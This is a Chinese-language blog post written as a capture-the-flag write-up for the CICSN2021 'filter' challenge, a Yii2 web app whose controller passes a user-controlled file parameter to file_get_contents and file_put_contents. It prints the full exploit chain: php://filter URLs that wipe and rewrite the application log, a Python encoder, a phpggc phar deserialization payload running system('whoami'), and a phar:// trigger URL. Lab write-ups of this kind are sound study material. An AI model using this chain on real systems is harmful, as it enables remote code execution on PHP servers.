ma4ter

Index | Photo | About | Friends | Archives

CICSN2021 filter writeup

总的来说这次比赛没什么新的东西 前两题就是白给 有个直接原题 upload那道题目应该有一些骚姿势不知道 可能是我不太适合打ctf然后这个题目也是模仿的laravel debug mod rce

本来准备睡觉了 还是简单的记录一下这道题目 虽然最后Flag没有弄出来 本来还以为能拿个一血 不知道是什么原因 估计是环境的原因 本地是能够复现成功的 最后说一句:CTF 真傻逼

下载得到一个附件

CICSN2021 filter writeup

CICSN2021 filter writeup

发现是YII框架

百度了一波这个框架的漏洞 发现只有一个反序列化的漏洞

然后再看看这个 SiteController.php

<?php

namespace app\controllers;

use Yii;
use yii\filters\AccessControl;
use yii\web\Controller;
use yii\web\Response;
use yii\filters\VerbFilter;
use app\models\LoginForm;
use app\models\ContactForm;

class SiteController extends Controller
{
    /**
     * {@inheritdoc}
     */
    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'only' => ['logout'],
                'rules' => [
                    [
                        'actions' => ['logout'],
                        'allow' => true,
                        'roles' => ['@'],
                    ],
                ],
            ],
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    'logout' => ['post'],
                ],
            ],
        ];
    }

    /**
     * {@inheritdoc}
     */
    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
            'captcha' => [
                'class' => 'yii\captcha\CaptchaAction',
                'fixedVerifyCode' => YII_ENV_TEST ? 'testme' : null,
            ],
        ];
    }

    /**
     * Displays homepage.
     *
     * @return string
     */
    public function actionIndex()
    {
        $file = Yii::$app->request->get('file');
        $res = file_get_contents($file);
        file_put_contents($file,$res);
        return $this->render('index');
    }

    /**
     * Login action.
     *
     * @return Response|string
     */
    public function actionLogin()
    {
        if (!Yii::$app->user->isGuest) {
            return $this->goHome();
        }

        $model = new LoginForm();
        if ($model->load(Yii::$app->request->post()) && $model->login()) {
            return $this->goBack();
        }

        $model->password = '';
        return $this->render('login', [
            'model' => $model,
        ]);
    }

    /**
     * Logout action.
     *
     * @return Response
     */
    public function actionLogout()
    {
        Yii::$app->user->logout();

        return $this->goHome();
    }

    /**
     * Displays contact page.
     *
     * @return Response|string
     */
    public function actionContact()
    {
        $model = new ContactForm();
        if ($model->load(Yii::$app->request->post()) && $model->contact(Yii::$app->params['adminEmail'])) {
            Yii::$app->session->setFlash('contactFormSubmitted');

            return $this->refresh();
        }
        return $this->render('contact', [
            'model' => $model,
        ]);
    }

    /**
     * Displays about page.
     *
     * @return string
     */
    public function actionAbout()
    {
        return $this->render('about');
    }
}

CICSN2021 filter writeup

是不是很熟悉 没错 就是laravel debug模式的rce

然后这个框架的日志文件在runtime/logs/app.log

CICSN2021 filter writeup

先去github上面下一个源码下来https://github.com/yiisoft/yii2/releases/tag/2.0.14

CICSN2021 filter writeup

整个过程很简单 https://xz.aliyun.com/t/9165?page=1

这篇文章已经说的很清楚了

中间没注意到给了个这个hint

CICSN2021 filter writeup

这样设置后的区别就是 我们的payload只在log文件里面出现一次

清空日志

http://10.35.35.34:8988/index.php?r=site%2Findex&file=%E2%80%8Bphp://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

CICSN2021 filter writeup

CICSN2021 filter writeup

有一个技巧在后面也能用到就是如果说我们使用filter协议正常进行了解码的话 页面会显示上面的这个页面 否则显示error

payload的生成:

参考上面那篇文章 使用phpggc就行了

CICSN2021 filter writeup

然后使用下面这个脚本将base64替换一下生成我们需要的payload

from binascii import b2a_hex
payload = "PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQozAQAAAQAAABEAAAABAAAAAAAAAQAATzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6Indob2FtaSI7fWk6MTtzOjM6InJ1biI7fX19fQUAAAAxLnR4dAEAAABZ9J9gAQAAALfv3IO2AQAAAAAAADGtpCs9SUAqr7yVZpbBRZDoM1qn8QIAAABHQk1C"
armedPayload = ''
for i in payload:
    i = "="+b2a_hex(i.encode('utf-8')).decode('utf-8').upper()
    armedPayload += i+"=00"
print(armedPayload)

添加payload进去:

http://10.35.35.34:8988/index.php?r=site%2Findex&file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=7A=00=41=00=51=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=79=00=4D=00=7A=00=6F=00=69=00=65=00=57=00=6C=00=70=00=58=00=47=00=52=00=69=00=58=00=45=00=4A=00=68=00=64=00=47=00=4E=00=6F=00=55=00=58=00=56=00=6C=00=63=00=6E=00=6C=00=53=00=5A=00=58=00=4E=00=31=00=62=00=48=00=51=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=7A=00=59=00=36=00=49=00=67=00=42=00=35=00=61=00=57=00=6C=00=63=00=5A=00=47=00=4A=00=63=00=51=00=6D=00=46=00=30=00=59=00=32=00=68=00=52=00=64=00=57=00=56=00=79=00=65=00=56=00=4A=00=6C=00=63=00=33=00=56=00=73=00=64=00=41=00=42=00=66=00=5A=00=47=00=46=00=30=00=59=00=56=00=4A=00=6C=00=59=00=57=00=52=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=78=00=4E=00=54=00=6F=00=69=00=52=00=6D=00=46=00=72=00=5A=00=58=00=4A=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6D=00=62=00=33=00=4A=00=74=00=59=00=58=00=52=00=30=00=5A=00=58=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=59=00=32=00=78=00=76=00=63=00=32=00=55=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=45=00=36=00=49=00=6E=00=6C=00=70=00=61=00=56=00=78=00=79=00=5A=00=58=00=4E=00=30=00=58=00=45=00=4E=00=79=00=5A=00=57=00=46=00=30=00=5A=00=55=00=46=00=6A=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=54=00=6F=00=69=00=59=00=32=00=68=00=6C=00=59=00=32=00=74=00=42=00=59=00=32=00=4E=00=6C=00=63=00=33=00=4D=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=36=00=49=00=6D=00=6C=00=6B=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=59=00=36=00=49=00=6E=00=64=00=6F=00=62=00=32=00=46=00=74=00=61=00=53=00=49=00=37=00=66=00=57=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=4D=00=36=00=49=00=6E=00=4A=00=31=00=62=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=66=00=51=00=55=00=41=00=41=00=41=00=41=00=78=00=4C=00=6E=00=52=00=34=00=64=00=41=00=45=00=41=00=41=00=41=00=42=00=5A=00=39=00=4A=00=39=00=67=00=41=00=51=00=41=00=41=00=41=00=4C=00=66=00=76=00=33=00=49=00=4F=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=47=00=74=00=70=00=43=00=73=00=39=00=53=00=55=00=41=00=71=00=72=00=37=00=79=00=56=00=5A=00=70=00=62=00=42=00=52=00=5A=00=44=00=6F=00=4D=00=31=00=71=00=6E=00=38=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00

CICSN2021 filter writeup

CICSN2021 filter writeup

如果没按照那个hint修改配置的话 payload会出现4次

解码出payload:

http://10.35.35.34:8988/index.php?r=site%2Findex&file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

CICSN2021 filter writeup

CICSN2021 filter writeup

然后这个日志文件就变成了一个正常的phar文件

触发phar

http://10.35.35.34:8988/index.php?r=site%2Findex&file=phar://../runtime/logs/app.log/1.txt

CICSN2021 filter writeup

晚安